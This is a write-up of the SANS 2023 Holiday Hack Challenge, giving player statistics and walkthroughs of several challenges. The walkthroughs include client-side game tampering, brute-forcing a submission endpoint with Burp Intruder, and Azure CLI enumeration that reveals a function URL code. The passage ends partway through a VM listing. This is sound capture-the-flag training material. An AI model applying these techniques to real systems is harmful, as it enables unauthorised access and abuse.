๐ ๐ SANS 2023 Holiday Hack Challenge (HHC) - A Holiday Odyssey ๐น๐๏ธ
Introduction
Every year the SANS Institute and the Counter Hack Team hosts a โHoliday Hack Challengeโ also commonly referred to as HHC.
The SANS HHC contains a number of unique infosec related challenges designed to test and improve the technical skills of those interested in, or working within Information/Cyber Security.
The 2023 Holiday Hack Challenge can be found here: SANS 2023 HHC - A Holiday Odyssey.
Quick Statistics for HHC 2023
- 15,664 players
- 281 (1.79%) Completed the main HHC story and challenges
- 197 people submitted a report on how they solved the challenges
- 3 Random Draw Winners
- 3 SANS.EDU Student Winners
- 32 Honorable Mentions
- 23 Super Honorable Mentions
- 1 Most Creative Prize Winner, 1 Runner Up.
- 1 Best Technical Answer Winner, 1 Runner Up.
- 1 Best Overall Answer Winner (THIS SUBMISSION!)
- 1 Extra Special Noteworthy Exemplary Trophy (ESNET) Award Winner.
- 10 most popular sail combinations:
- 205: Black / Black / Black
- 90: Red / White / Blue
- 68: Black / Red / Black
- 65: White / White / White
- 63: Blue / Blue / Blue
- 61: Red / Red / Red
- 56: Pink / Pink / Pink
- 53: White / Green / Red
- 52: Black / Black / Pink
- 51: Black / Blue / Black
- 3,377: Secret PLAID colour
- 1,341 found Jason the fish
- 24 unique objectives:
- 83.25% solved
Holiday Hack Orientation
- 44.45% solved
Linux 101
- 33.02% solved
Snowball Fight
- 18.9% solved
Azure 101
- 18.42% solved
Hashcat
- 14.56% solved
Elf Hunt
- 13.26% solved
Linux PrivEsc
- 10.02% solved
Luggage Lock
- 9.22% solved
Reportinator
- 8.13% solved
Na'an
- 8.01% solved
Phish Detection Agency
- 7.58% solved
Faster Lock Combination
- 6.33% solved
KQL Kraken Hunt
- 5.73% solved
Game Cartridges: Vol 1
- 4.81% solved
BONUS! Fishing Guide
- 4.63% solved
Certificate SSHenanigans
- 3.03% solved
Active Directory
- 2.82% solved
Space Island Door Access Speaker
- 2.72% solved
Game Cartridges: Vol 2
- 2.61% solved
The Captain's Comms
- 2.29% solved
Camera Access
- 2.23% solved
Game Cartridges: Vol 3
- 1.88% solved
Missile Diversion
- 1.42% solved
BONUS! Fishing Mastery
- 83.25% solved
PSMITTY
was 1st to solve all challenges in 47.5hrsSTIGWARD
was 2nd to solve all challenges in 69.6hrsPEDROCABRAL
was 3rd to solve all challenges in 116.8hrs44,441,201
lines were cast to go fishing- Approximately 6.85 cast every second since launch
511,539
fish caughtBLUEFOOT
caught 33,403 fishEFREDERICKSON
caught 13,827 fishGOBO
caught 7,164 fish- 222 players caught all 171 fish species
JellyChip CuddleSwimmer
was the most caught fish (3,988 times)Piscis Cyberneticus Skodo
was the least caught fish (1,149 times)ISLAND SHUFFLE
boat racing- 1st: seafallen
- 2nd: apok
- 3rd: noodlebox
ZIPPER
boat racing- 1st: noodlebox
- 2nd: skynetDev
- 3rd: seafallen
THE GOOSE
boat racing- 1st: noodlebox
- 2nd: seafallen
- 3rd: skynetDev
TRENCH RUN
boat racing- 1st: skynetDev
- 2nd: seafallen
- 3rd: apok
THREAD THE NEEDLE
boat racing- 1st: ahojnicki
- 2nd: apok
- seafallen
THE BIG DIPPER
boat racing- 1st: seafallen
- 2nd: apok
- 3rd: noodlebox
BRUHMUDA
boat racing- 1st: noodlebox
- 2nd: skynetDev
- 3rd: seafallen
THE GRAND TOUR
boat racing- 1st: seafallen
- 2nd: noodlebox
- 3rd: skynetDev
- Overall boat racing
- 1st: seafallen (26.7 points)
- 2nd: noodlebox (23.3 points)
- 3rd: skynetDev (13.1 points)
Write-up
๐ Holiday Hack Orientation ๐
๐ Objective: Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands
โต Destination: Christmas Island (Orientation)
โ๏ธ Solution: Complete the Orientation Cranberry Pi terminal
๐ Steps:
- โ๏ธ Sail to Christmas Island Orientation dock โต
- โ๏ธ Click on Jingle Ringford multiple times
- โ๏ธ Claim your starfish badge ๐
- โ๏ธ Grab a fishing pole ๐ฃ
- โ๏ธ Type
answer
into the Cranberry Pi terminal.
๐ฌ Jingle Ringford Conversation:
Welcome to the Geese Islands and the 2023 SANS Holiday Hack Challenge!
I'm Jingle Ringford, one of Santa's many elves.
Santa asked me to meet you here and give you a short orientation to this festive event.
Before you head back to your boat, I'll ask you to accomplish a few simple tasks.
First things first, here's your badge! It's that starfish in the middle of your avatar.
Great - now you're official!
Click on the badge on your avatar. That's where you will see your Objectives, Hints, and Conversations for the Holiday Hack Challenge.
We've also got handy links to some awesome talks and more there for you!
Next, pick up that fishing pole over there in the sand. That will come in handy when you're sailing around the islands.
Fantastic!
OK, one last thing. Click on the Cranberry Pi Terminal and follow the on-screen instructions.
Perfect! Your orientation is now complete!
Head back to your boat or click on the anchor icon on the left of the screen to set sail for Frosty's Beach where Santa's waiting for you. I've updated your boat's compass to guide the way.
As you sail to each island, talk to the goose of that island to receive a colorful lei festooning the masts on your ship.
Safe travels my friend and remember, relax, enjoy the sun, and most importantly, have FUN!
๐ก Breakdown:
Follow the bearing direction to Orientation dock.
Click on Jingle Ringford multiple times to have a conversation, and move to collect a fishing pole when it appears.
Click on the Cranberry Pi terminal. In the upper panel type answer
.
๐ Snowball Fight ๐๐
๐ Objective: Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!
โต Destination: Christmas Island (Frostyโs Beach)
โ๏ธ Solution: Defeat Santa and his elves in a snowball fight
๐ Steps:
- โ๏ธ Sail to Christmas Island Frostyโs Beach dock
- โ๏ธ Open Snowball Hero and create a private room
- โ๏ธ Intercept responses from the Snowball Hero challenge
- โ๏ธ Locate reference to
singlePlayer
variable andplayer.health
in returned JavaScript - โ๏ธ Force iframe to reload whilst appending
&singlePlayer=false
to the URL - โ๏ธ Defeat Santa with the help of
Elf the dwarf
by modifyingplayer.health
to999
using JavaScript
๐ฌ Morcel Nougat Conversation:
You're like a snowball fighting ninja! A real-life legend. Can I have your autograph!?
Note: Previous conversations with Morcel donโt appear to have been recorded during the playthrough.
๐ก Breakdown:
Sail east around Christmas Island
to find Frosty's Beach
dock. Locate Morcel Nougat
on the beach and click on the Snowball Hero
challenge.
Using a configured instance of Burp Suite
, intercept responses from the Snowball Hero challenge after clicking Create Private Room
, or inspect the application raw JavaScript in developer tools of your browser.
A GET request to the below URL returns a script that contains the variable singlePlayer
. By default this variable is set to false and thereโs a function checkAndUpdateSinglePlayer()
which checks if the URL contains a parameter singlePlayer
. If the URL contains this parameter, the application sets the singlePlayer
variable to either true
or false
depending on what value is passed.
https://hhc23-snowball.holidayhackchallenge.com/room/?username={playerName}&roomId={roomID}&roomType=private&gameType=co-op&id={uniqueID}&dna={uniqueID}
Open this URL in a new window and pass the parameter singlePlayer=true
to setthe sinlePlayer variable to true
and start a game where Elf the dwarf
joins your team.
As this challenge must be completed within the iframe rather than a new tab, modify the iframe
reference URL to contain &singlePlayer=true
using any browser developer tools.
To win as a pacifist, enter player.health = 999
over and over again in the developer console to avoid taking any substantial damage whilst Elf
does all of the damage to Santa and his elves.
๐ Linux 101 ๐
๐ Objective: Visit Ginger Breddie in Santaโs Shack on Christmas Island to help him with some basic Linux tasks. Itโs in the southwest corner of Frostyโs Beach.
โต Destination: Christmas Island (Santaโs Surf Shack)
โ๏ธ Solution: Complete the Linux 101 Cranberry Pi terminal
๐ Steps:
- โ๏ธ Travel west on
Christmas Island
to findSanta's Surf Shack
- โ๏ธ Open
Linux101 terminal
and typeyes
- โ๏ธ Perform a directory listing on your home directory
- โ๏ธ Find the troll inside the troll
- โ๏ธ Remove the troll in your home directory
- โ๏ธ Print the present working directory
- โ๏ธ Find the hidden troll in your home directory
- โ๏ธ Find the troll in your command history
- โ๏ธ Find the troll in your environment variables
- โ๏ธ Head into the workshop
- โ๏ธ Use
grep
to find the troll in the workshop toolboxes - โ๏ธ Run the
present_engine
binary to retrieve a troll - โ๏ธ Rename
blown_fuse0
tofuse0
after changing into electrical directory - โ๏ธ Make a symbolic link named
fuse1
that points tofuse0
- โ๏ธ Make a copy of
fuse1
namedfuse2
- โ๏ธ Add the characters
TROLL_REPELLENT
into the filefuse2
- โ๏ธ Find the troll somewhere in
/opt/troll_den
- โ๏ธ Find the file somewhere in
/opt/troll_den
that is owned by the usertroll
- โ๏ธ Find the file that is
greater than 108 kilobytes
andless than 110 kilobytes
located somewhere in/opt/troll_den
- โ๏ธ List running processes to find a troll
- โ๏ธ Display the only listening port on the screen
- โ๏ธ Interact with the
HTTP service
on port54321
- โ๏ธ Stop the
14516_troll
process to collect the remaining presents
๐ฌ Ginger Breddie Conversation:
Hey, welcome to Santa's Surf Shack on tropical Christmas Island! I'm just hanging ten here, taking it easy while brushing up on my Linux skills.
You ever tried getting into Linux? It's a super cool way to play around with computers.
Can you believe ChatNPT suggested this trip to the Geese Islands this year? I'm so thrilled!
Kudos to ChatNPT, eh? The sunshine, the waves, and my surfboard โ simply loving it!
So, what do you have planned? Care to join me in a Linux session?
Wow, if your surfing skills are as good as your Linux skills, you could be winning competitions!
๐ก Breakdown:
Travelling west from the Snowball Hero
challenge, Santa's Surf Shack
can be found on the southwest corner of Frosty's Beach
.
Inside the surf shack is a Cranberry Pi challenge.
Win the challenge by following instructions in the top pane. Specific Linux commands to solve the challenge are shown below.
โ Perform a directory listing of your home directory
elf@2ff6046711be:~$ ls /home/elf
HELP troll_19315479765589239 workshop
โ Find the troll inside the troll
elf@2ff6046711be:~$ cat /home/elf/troll_19315479765589239
troll_24187022596776786
โ Remove the troll in your home directory
elf@2ff6046711be:~$ rm /home/elf/troll_19315479765589239
โ Print the present working directory
elf@2ff6046711be:~$ pwd
/home/elf
โ Find the hidden troll in your home directory
elf@2ff6046711be:~$ ls -la
total 64
drwxr-xr-x 1 elf elf 4096 Dec 14 04:26 .
drwxr-xr-x 1 root root 4096 Dec 2 22:19 ..
-rw-r--r-- 1 elf elf 28 Dec 2 22:19 .bash_history
-rw-r--r-- 1 elf elf 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 elf elf 3105 Nov 20 18:04 .bashrc
-rw-r--r-- 1 elf elf 807 Feb 25 2020 .profile
-rw-r--r-- 1 elf elf 0 Dec 14 04:26 .troll_5074624024543078
-rw-r--r-- 1 elf elf 168 Nov 20 18:04 HELP
drwxr-xr-x 1 elf elf 24576 Dec 2 22:19 workshop
โ Find the troll in your command history
elf@2ff6046711be:~$ history
1 echo troll_9394554126440791
2 ls /home/elf
3 cat /home/elf/troll_19315479765589239
4 rm troll_19315479765589239
5 pwd
6 ls -la
7 history
โ Find the troll in your environment variables
elf@2ff6046711be:~$ env
SHELL=/bin/bash
TMUX=/tmp/tmux-1050/default,17,0
HOSTNAME=2ff6046711be
RESOURCE_ID=89b666cb-8ab4-47cd-bc9c-6536c2a99620
GREENSTATUSPREFIX=presents
PWD=/home/elf
LOGNAME=elf
SESSNAME=Troll Wrangler
z_TROLL=troll_20249649541603754
HOME=/home/elf
LANG=C.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.jpg=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
HHCUSERNAME=JPMinty
AREA=cisantassurfshack
BPUSERHOME=/home/elf
LESSCLOSE=/usr/bin/lesspipe %s %s
TERM=screen
LESSOPEN=| /usr/bin/lesspipe %s
USER=elf
TOKENS=linux101
TMUX_PANE=%2
BPUSER=elf
SHLVL=3
LC_ALL=C.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
MAIL=/var/mail/elf
LOCATION=7,8
_=/usr/bin/env
โ Head into the workshop
elf@2ff6046711be:~$ cd workshop
elf@2ff6046711be:~/workshop$
โ Use โgrepโ to find the troll in the workshop toolboxes
elf@2ff6046711be:~/workshop$ grep -r 'troll' -i
toolbox_191.txt:tRoLl.4056180441832623
โ Run the present_engine binary to retrieve a troll
elf@2ff6046711be:~/workshop$ chmod +x ./present_engine
elf@2ff6046711be:~/workshop$ ./present_engine
troll.898906189498077
โ Rename โblown_fuse0โ to โfuse0โ after changing into electrical directory
elf@2ff6046711be:~/workshop$ cd electrical/ && mv blown_fuse0 fuse0
elf@2ff6046711be:~/workshop/electrical$
โ Make a symbolic link named fuse1 that points to fuse0
elf@2ff6046711be:~/workshop/electrical$ ln -s fuse0 fuse1
โ Make a copy of fuse1 named fuse2
elf@2ff6046711be:~/workshop/electrical$ cp fuse1 fuse2
โ Add the characters โTROLL_REPELLENTโ into the file fuse2
elf@2ff6046711be:~/workshop/electrical$ echo "TROLL_REPELLENT" > fuse2
โ Find the troll somewhere in /opt/troll_den
elf@2ff6046711be:~/workshop/electrical$ find /opt/troll_den/ -iname "*troll*" -type f
/opt/troll_den/plugins/embeddedjsp/src/main/java/org/apache/struts2/jasper/compiler/ParserController.java
/opt/troll_den/apps/showcase/src/main/resources/tRoLl.6253159819943018
/opt/troll_den/apps/rest-showcase/src/main/java/org/demo/rest/example/IndexController.java
/opt/troll_den/apps/rest-showcase/src/main/java/org/demo/rest/example/OrdersController.java
โ Find the file somewhere in /opt/troll_den that is owned by the user troll
elf@2ff6046711be:~/workshop/electrical$ find /opt/troll_den/ -type f -user troll
/opt/troll_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/tr0LL_9528909612014411
โ Find the file created by trolls that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/troll_den.
elf@2ff6046711be:~/workshop/electrical$ find /opt/troll_den/ -type f -size +108k -size -110k
/opt/troll_den/plugins/portlet-mocks/src/test/java/org/apache/t_r_o_l_l_2579728047101724
โ List running processes to find a troll
elf@2ff6046711be:~/workshop/electrical$ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
init 1 0.0 0.0 20112 16304 pts/0 Ss+ 05:19 0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml
elf 9346 0.1 0.0 31520 26684 pts/2 S+ 05:35 0:00 /usr/bin/python3 /14516_troll
elf 10137 0.0 0.0 7672 3196 pts/3 R+ 05:36 0:00 ps -aux
โ Display the only listening port on the screen
elf@2ff6046711be:~/workshop/electrical$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:54321 0.0.0.0:* LISTEN
Active UNIX domain sockets (only servers)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 9946150 /tmp/tmux-1050/default
โ Interact with the HTTP service on port 54321
elf@2ff6046711be:~/workshop/electrical$ curl http://127.0.0.1:54321
troll.73180338045875
โ Stop the 14516_troll process to collect the remaining presents
elf@2ff6046711be:~/workshop/electrical$ kill 9346
๐ Reportinator ๐๐
๐ Objective: Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.
โต Destination: Christmas Island (Rudolphโs Rest)
โ๏ธ Solution: Identify and submit the hallucinated pentest reports for review
๐ Steps:
- โ๏ธ Sail to
Christmas Island
Rudolph's Rest
dock - โ๏ธ Open
Reportinator
Cranberry Pi and reviewPenetration Test Report
findings - โ๏ธ Mark any findings
without hallucinated
or false findings with aโ๏ธ
- โ๏ธ Mark any findings
with hallucinated
or false findings issues with aโ
- โ๏ธ Click
Submit Review
๐ฌ Noel Boetie Conversation:
Hey there, Noel Boetie speaking! I recently tried using ChatNPT to generate my penetration testing report.
It's a pretty nifty tool, but there are a few issues in the output that I've noticed.
I need some guidance in finding any errors in the way it generated the content, especially those odd hallucinations in the LLM output.
I know it's not perfect, but I'd really appreciate the extra eyes on this one.
Some of the issues might be subtle, so don't be afraid to dig deep and ask for further clarification if you're unsure.
I've heard that you folks are experts about LLM outputs and their common issues, so I trust you can help me with this.
Your input will be invaluable to me, so please feel free to share any insights or findings you may have.
I'm looking forward to working with you all and improving the quality of the ChatNPT-generated penetration testing report.
Thanks in advance for your help! I truly appreciate it! Let's make this report the best it can be!
Great job on completing that challenge! Ever thought about how your newfound skills might come into play later on? Keep that mind sharp, and remember, today's victories are tomorrow's strategies!
๐ก Breakdown:
Heading east, sail to Christmas Island
Rudolph's Rest
dock and find the Reporting
Cranberry Pi terminal next to Noel Boetie
.
Review 9
findings presented in the Cranberry Pi terminal for hallucinated or false findings
. The following 3
findings have hallucinations highlighted:
โ 3. Remote Code Execution via Java Deserialization of Stored Database Objects
This report claims that by intercepting HTTP request traffic on 88555/TCP
malicious actors can exploit a vulnerability.
TCP port 88555
doesnโt exist because dynamic port ranges only go to 65535
which is the maximum value of an unsigned 16-bit integer.
โ 6. Stored Cross-Site Scripting Vulnerabilities
This report claims that by mishandling data encoding procedures, stored cross-site scripting vulnerabilities become present. It also claims returned JSON data is being unsafely processed by client-side scripts, and XSS attack language
is a valid way to test remediation efforts.
Some issues with this report include:
HTTP sends
doesnโt mention a protocol or method used.Mishandling of data encoding procedures
implies that a documented procedure wasnโt handled in an appropriate way by a human rather than any technical encoding or sanitisation.JSON data being processed unsafely by client-side scripts
implies that scripts themselves are interpreting cross-site scripting payloads rather than these being simply interpreted by a browser as valid HTML.- Thereโs little to no tangible information on what user input is being stored on the server which is not sanitised or encoded.
- Broken sentence structure and grammatical issues.
XSS attack language
is unclear and provides no actionable way to test remediation efforts.
โ 9. Internal IP Address Disclosure
This report claims that internal IP addresses are leaked in a Location header
when a HTTP header request
is made that gives a HTTP 7.4.33 request
, and a Host header with no value.
Some issues with this report include:
HTTP header request
doesnโt exist, the closest thing is aHTTP HEAD
request.HTTP 7.4.33 request
doesnโt exist and seems to be hallucinated based on server version naming conventions.- No private IP address information is leaked in a Location header shown in Listing 6.
- Listing 6 has hallucinated an IPv4 address which begins with
1192
as its first octet. Octets are made up of8-bits
and can only go up to255
. - Location headers are used for website redirection and canโt simply be changed to reflect the host machine
Windows registration key
. Even if it could this would leak more information and is not a good idea.
Submit these 3 findings with a โ to solve the challenge.
๐ก Bonus: Brute forcing the challenge
Although not required or recommended, the challenge technically can be brute forced using a tool like Burp Suite
.
Upon submitting reports for review a POST
request is made containing input
parameters to the below:
hhc23-reportinator-dot-holidayhack2023.ue.r.appspot.com
Given thereโs only 9 parameters
sent, each of which needs to be either 0
or 1
, Burp Suite
โs Intruder
tool can be used to submit 512 requests each with differing parameter values until the correct answer is found.
The correct answer is evident by a response status code of 200
instead of 400
.
๐ Azure 101 ๐๐
๐ Objective: Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.
โต Destination: Christmas Island (Rudolphโs Rest)
โ๏ธ Solution: Complete the Azure 101 Cranberry Pi terminal
๐ Steps:
- โ๏ธ Head west to find
Sparkle Redberry
- โ๏ธ Open
Azure 101
Cranberry Pi terminal - โ๏ธ Review the Azure cli help messages
- โ๏ธ Get a list of resource groups in Azure
- โ๏ธ Review configured Azure cli account details
- โ๏ธ Get a list of function apps for a resource group
- โ๏ธ List the only VM in one of the resource groups accessible
- โ๏ธ Invoke a run-command and use a RunShellScript against the VM to reveal a file
๐ก Breakdown:
Travelling west from the Reportinator
challenge, find Sparkle Redberry
and the Azure 101
Cranberry Pi terminal at Rudolph's Rest
.
Win the challenge by following instructions in the top pane. Specific Azure CLI commands to solve the challenge are shown below.
โ Review the Azure cli help messages
elf@84d2543b8a87:~$ az help | less
Group
az
Subgroups:
account : Manage Azure subscription information.
acr : Manage private registries with Azure Container Registries.
ad : Manage Azure Active Directory Graph entities needed for Role Based
Access Control.
advisor : Manage Azure Advisor.
aks : Manage Azure Kubernetes Services.
ams [Preview] : Manage Azure Media Services resources.
apim [Preview] : Manage Azure API Management services.
appconfig [Preview] : Manage App Configurations.
appservice : Manage App Service plans.
backup [Preview] : Manage Azure Backups.
batch : Manage Azure Batch.
billing : Manage Azure Billing.
bot : Manage Microsoft Azure Bot Service.
cache [Preview] : Commands to manage CLI objects cached using the
`--defer` argument.
cdn : Manage Azure Content Delivery Networks (CDNs).
cloud : Manage registered Azure clouds.
cognitiveservices : Manage Azure Cognitive Services accounts.
consumption [Preview] : Manage consumption of Azure resources.
container : Manage Azure Container Instances.
cosmosdb : Manage Azure Cosmos DB database accounts.
deployment : Manage Azure Resource Manager deployments at subscription scope.
deploymentmanager [Preview] : Create and manage rollouts for your service.
disk : Manage Azure Managed Disks.
disk-encryption-set : Disk Encryption Set resource.
dla [Preview] : Manage Data Lake Analytics accounts, jobs, and catalogs.
dls [Preview] : Manage Data Lake Store accounts and filesystems.
dms : Manage Azure Data Migration Service (DMS) instances.
eventgrid : Manage Azure Event Grid topics, event subscriptions, domains
:q
โ Review configured Azure cli account details
elf@84d2543b8a87:~$ az account show | less
{
"environmentName": "AzureCloud",
"id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
"isDefault": true,
"name": "northpole-sub",
"state": "Enabled",
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"user": {
"name": "[email protected]",
"type": "user"
}
}
(END)
q
โ Get a list of resource groups in Azure
elf@84d2543b8a87:~$ az group list
[
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1",
"location": "eastus",
"managedBy": null,
"name": "northpole-rg1",
"properties": {
"provisioningState": "Succeeded"
},
"tags": {}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2",
"location": "westus",
"managedBy": null,
"name": "northpole-rg2",
"properties": {
"provisioningState": "Succeeded"
},
"tags": {}
}
]
โ Get a list of function apps for a resource group
elf@84d2543b8a87:~$ az functionapp list --resource-group northpole-rg1|more
[
{
"appServicePlanId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/nor
thpole-rg1/providers/Microsoft.Web/serverfarms/EastUSLinuxDynamicPlan",
"availabilityState": "Normal",
"clientAffinityEnabled": false,
"clientCertEnabled": false,
"clientCertExclusionPaths": null,
"clientCertMode": "Required",
"cloningInfo": null,
"containerSize": 0,
"customDomainVerificationId": "201F74B099FA881DB9368A26C8E8B8BB8B9AF75BF450AF717502AC151F59
DBEA",
"dailyMemoryTimeQuota": 0,
"defaultHostName": "northpole-ssh-certs-fa.azurewebsites.net",
"enabled": true,
"enabledHostNames": [
"northpole-ssh-certs-fa.azurewebsites.net"
],
"extendedLocation": null,
"hostNameSslStates": [
{
"certificateResourceId": null,
"hostType": "Standard",
"ipBasedSslResult": null,
"ipBasedSslState": "NotConfigured",
"name": "northpole-ssh-certs-fa.azurewebsites.net",
"sslState": "Disabled",
"thumbprint": null,
"toUpdate": null,
"toUpdateIpBasedSsl": null,
"virtualIPv6": null,
"virtualIp": null
},
{
"certificateResourceId": null,
"hostType": "Repository",
"ipBasedSslResult": null,
"ipBasedSslState": "NotConfigured",
"name": "northpole-ssh-certs-fa.scm.azurewebsites.net",
"sslState": "Disabled",
"thumbprint": null,
"toUpdate": null,
"toUpdateIpBasedSsl": null,
"virtualIPv6": null,
"virtualIp": null
}
],
"hostNames": [
"northpole-ssh-certs-fa.azurewebsites.net"
],
"hostNamesDisabled": false,
"hostingEnvironmentProfile": null,
"httpsOnly": false,
"hyperV": false,
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/pro
viders/Microsoft.Web/sites/northpole-ssh-certs-fa",
"identity": {
"principalId": "d3be48a8-0702-407c-89af-0319780a2aea",
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"type": "SystemAssigned",
"userAssignedIdentities": null
},
"inProgressOperationId": null,
"isDefaultContainer": null,
"isXenon": false,
"keyVaultReferenceIdentity": "SystemAssigned",
"kind": "functionapp,linux",
"lastModifiedTimeUtc": "2023-11-09T14:43:01.183333",
"location": "East US",
"maxNumberOfWorkers": null,
"name": "northpole-ssh-certs-fa",
"possibleOutboundIpAddresses": "",
"publicNetworkAccess": null,
"redundancyMode": "None",
"repositorySiteName": "northpole-ssh-certs-fa",
"reserved": true,
"resourceGroup": "northpole-rg1",
"scmSiteAlsoStopped": false,
"siteConfig": {
"acrUseManagedIdentityCreds": false,
"acrUserManagedIdentityId": null,
"alwaysOn": false,
"antivirusScanEnabled": null,
"apiDefinition": null,
"apiManagementConfig": null,
"appCommandLine": null,
"appSettings": null,
"autoHealEnabled": null,
"autoHealRules": null,
"autoSwapSlotName": null,
"azureMonitorLogCategories": null,
"azureStorageAccounts": null,
"connectionStrings": null,
"cors": null,
"customAppPoolIdentityAdminState": null,
"customAppPoolIdentityTenantState": null,
"defaultDocuments": null,
"detailedErrorLoggingEnabled": null,
"documentRoot": null,
"elasticWebAppScaleLimit": null,
"experiments": null,
"fileChangeAuditEnabled": null,
"ftpsState": null,
"functionAppScaleLimit": 200,
"functionsRuntimeScaleMonitoringEnabled": null,
"handlerMappings": null,
"healthCheckPath": null,
"http20Enabled": true,
"http20ProxyFlag": null,
"httpLoggingEnabled": null,
"ipSecurityRestrictions": null,
"ipSecurityRestrictionsDefaultAction": null,
"javaContainer": null,
"javaContainerVersion": null,
"javaVersion": null,
"keyVaultReferenceIdentity": null,
"limits": null,
"linuxFxVersion": "Python|3.11",
"loadBalancing": null,
"localMySqlEnabled": null,
"logsDirectorySizeLimit": null,
"machineKey": null,
"managedPipelineMode": null,
"managedServiceIdentityId": null,
"metadata": null,
"minTlsCipherSuite": null,
"minTlsVersion": null,
"minimumElasticInstanceCount": 0,
"netFrameworkVersion": null,
"nodeVersion": null,
"numberOfWorkers": 1,
"phpVersion": null,
"powerShellVersion": null,
"preWarmedInstanceCount": null,
"publicNetworkAccess": null,
"publishingPassword": null,
"publishingUsername": null,
"push": null,
"pythonVersion": null,
"remoteDebuggingEnabled": null,
"remoteDebuggingVersion": null,
"requestTracingEnabled": null,
"requestTracingExpirationTime": null,
"routingRules": null,
"runtimeADUser": null,
"runtimeADUserPassword": null,
"scmIpSecurityRestrictions": null,
"scmIpSecurityRestrictionsDefaultAction": null,
"scmIpSecurityRestrictionsUseMain": null,
"scmMinTlsVersion": null,
"scmType": null,
"sitePort": null,
"sitePrivateLinkHostEnabled": null,
"storageType": null,
"supportedTlsCipherSuites": null,
"tracingOptions": null,
"use32BitWorkerProcess": null,
"virtualApplications": null,
"vnetName": null,
"vnetPrivatePortsCount": null,
"vnetRouteAllEnabled": null,
"webSocketsEnabled": null,
"websiteTimeZone": null,
"winAuthAdminState": null,
"winAuthTenantState": null,
"windowsConfiguredStacks": null,
"windowsFxVersion": null,
"xManagedServiceIdentityId": null
},
"slotSwapStatus": null,
"state": "Running",
"storageAccountRequired": false,
"suspendedTill": null,
"tags": {
"create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl",
"project": "northpole-ssh-certs"
},
"targetSwapSlot": null,
"trafficManagerHostNames": null,
"type": "Microsoft.Web/sites",
"usageState": "Normal",
"virtualNetworkSubnetId": null,
"vnetContentShareEnabled": false,
"vnetImagePullEnabled": false,
"vnetRouteAllEnabled": false
}
]
โ List the only VM in one of the resource groups accessible
elf@84d2543b8a87:~$ az vm list --resource-group northpole-rg2
[
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2/pro
viders/Microsoft.Compute/virtualMachines/NP-VM1",
"location": "eastus",
"name": "NP-VM1",
"properties": {
"hardwareProfile": {
"vmSize": "Standard_D2s_v3"
},
"provisioningState": "Succeeded",
"storageProfile": {
"imageReference": {
"offer": "UbuntuServer",
"publisher": "Canonical",
"sku": "16.04-LTS",
"version": "latest"
},
"osDisk": {
"caching": "ReadWrite",
"createOption": "FromImage",
"managedDisk": {
"storageAccountType": "Standard_LRS"
},
"name": "VM1_OsDisk_1"
}
},
